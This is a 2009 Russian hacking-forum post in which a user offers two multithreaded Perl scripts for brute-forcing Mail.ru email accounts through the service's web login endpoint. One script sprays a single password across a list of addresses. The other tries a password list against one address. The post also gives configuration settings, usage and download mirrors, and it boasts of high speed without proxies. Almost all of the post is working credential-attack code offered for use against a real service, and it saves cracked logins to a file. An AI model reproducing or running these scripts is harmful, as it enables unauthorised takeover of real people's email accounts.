Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
[PERL]Multithread Mail.ru bruteforce by Sharky |
21.02.2009, 01:16
|
|
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739
Репутация:
921
|
|
[PERL]Multithread Mail.ru bruteforce by Sharky
Многопоточный Брутфорс Mail.ru by Sharky
Описание:
[!]Брутит на один пароль по списку мыл ( можно и переделать  ) через swa.mail.ru
[!]Многопоточнсть
[!]Высокая скорость брута (сам разгонял до 170 pps )
[!]Не требуются прокси
Редактируем в коде под себя:
Код:
########################################################
$emails = 'mail.txt'; #Файл с мылами
$good = 'good.txt'; #Файл с прочеканными гуд акками
$password = '111111'; #Пароль на который брутить
########################################################
$threads = '20'; #Количество потоков
$timeout = '5'; #Таймаут
########################################################
Source:
Лист мыл на один пароль:
PHP код:
#!/usr/bin/perl
use IO::Socket;
use threads;
use threads::shared;
########################################################
my @acc : shared;
my $i : shared;
my $g : shared;
my $total : shared;
########################################################
$emails = 'mail.txt'; #Файл с мылами
$good = 'good.txt'; #Файл с прочеканными гуд акками
$password = '111111'; #Пароль на который брутить
########################################################
$threads = '20'; #Количество потоков
$timeout = '5'; #Таймаут
########################################################
$hostname = "swa.mail.ru";
$port = '80';
$path = "/cgi-bin/auth";
########################################################
open( ACS, "<$emails" );
@acc = acc();
$size = scalar @acc;
threads();
sub threads {
$g = 0;
for ( 0 .. $threads ) { $trl[$_] = threads->create( \&check, $_ ); }
for (@trl) { $_->join; }
print "Good: $g ";
}
sub check {
while (@acc) {
{ lock(@acc); $acc = shift @acc; }
my ( $mail, $server ) = split( /@/, $acc );
$nn = "\r\n";
my $sock = new IO::Socket::INET(
PeerAddr => $hostname,
PeerPort => $port,
PeerProto => 'tcp',
TimeOut => $timeout
);
if ( !$sock ) {
{ lock($i); $i++; }
}
else {
my $data =
"action1=Login&Login=$mail&Domain=$server&Password=$password";
my $re =
"POST /cgi-bin/auth HTTP/1.0"
. $nn
. "Host: swa.mail.ru"
. $nn
. "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
. $nn
. "Content-type: application/x-www-form-urlencoded"
. $nn
. "Cache-Control: no-cache"
. $nn
. "Content-length: "
. length($data)
. $nn
. "Connection: Keep-Alive"
. $nn
. $nn;
print $sock $re;
print $sock $data;
sysread( $sock, my $answ, 666 );
close $sock;
if ( $answ =~ /Location/ ) {
{ lock($total); $total++; }
print "$mail - [OK]\n";
open( FILE, ">>$good" );
print FILE "$acc:$password\n";
close(FILE);
$g++;
}
{ lock($i); $i++; }
$percent = ( $i / $size ) * 100;
$percent = sprintf( "%.0f", $percent );
print "$percent%" . $nn;
}
}
}
sub acc {
my (@mas);
while (<ACS>) {
push @mas, $_;
}
chomp @mas;
return @mas;
}
#with love by Sharky
Одно мыло на лист паролей:
PHP код:
#!/usr/bin/perl
use IO::Socket;
use threads;
use threads::shared;
################################################## ######
my @acc : shared;
my $i : shared;
my $g : shared;
my $total : shared;
$| = 1;
print "
###################################################################
### Sharky Mail.ru brute ###
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ###
###################################################################
";
################################################## ######
$email = shift;
$pass = shift;
$good = shift;
################################################## ######
$threads = shift;
$timeout = '5'; #Таймаут
################################################## ######
$hostname = "swa.mail.ru";
$port = '80';
################################################## ######
print "[+] Loading passwords... \n";
open( ACS, "<$pass" );
@acc = acc();
$size = scalar @acc;
print "[+] Loaded $size passwords \n";
threads();
sub threads {
print "[+] Start Brute\n\n";
for ( 0 .. $threads ) { $trl[$_] = threads->create( &check, $_ ); }
for (@trl) { $_->join; }
}
sub check {
while (@acc) {
{ lock(@acc); $passw = shift @acc; }
my ( $mail, $server ) = split( /@/, $email );
$nn = "\r\n";
my $sock = new IO::Socket::INET(
PeerAddr => $hostname,
PeerPort => $port,
PeerProto => 'tcp',
TimeOut => $timeout
);
if ( !$sock ) {
{ lock($i); $i++; }
}
else {
my $data =
"action1=Login&Login=$mail&Domain=$server&Password=$passw";
my $re =
"POST /cgi-bin/auth HTTP/1.0"
. $nn
. "Host: swa.mail.ru"
. $nn
. "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
. $nn
. "Content-type: application/x-www-form-urlencoded"
. $nn
. "Cache-Control: no-cache"
. $nn
. "Content-length: "
. length($data)
. $nn
. "Connection: Keep-Alive"
. $nn
. $nn;
print $sock $re;
print $sock $data;
sysread( $sock, my $answ, 666 );
close $sock;
if ( $answ =~ /Location/ ) {
{ lock($total); $total++; }
print "$email:$passw - [OK]\n";
open( FILE, ">>$good" );
print FILE "$acc:$password\n";
close(FILE);
exit;
}
{ lock($i); $i++; }
}
$percent = ( $i / $size ) * 100;
$percent = sprintf( "%.0f", $percent );
print "[%]$percent%\r";
}
}
sub acc {
my (@mas);
while (<ACS>) {
push @mas, $_;
}
chomp @mas;
return @mas;
}
#with love by Sharky
Использование одномыльного :
Код:
###################################################################
### Sharky Mail.ru brute ###
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ###
###################################################################
Либо скачать архивом:
Rapidshare.com
Webfile.ru
Dump.ru
Последний раз редактировалось Sharky; 03.03.2009 в 13:28..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Древовидный вид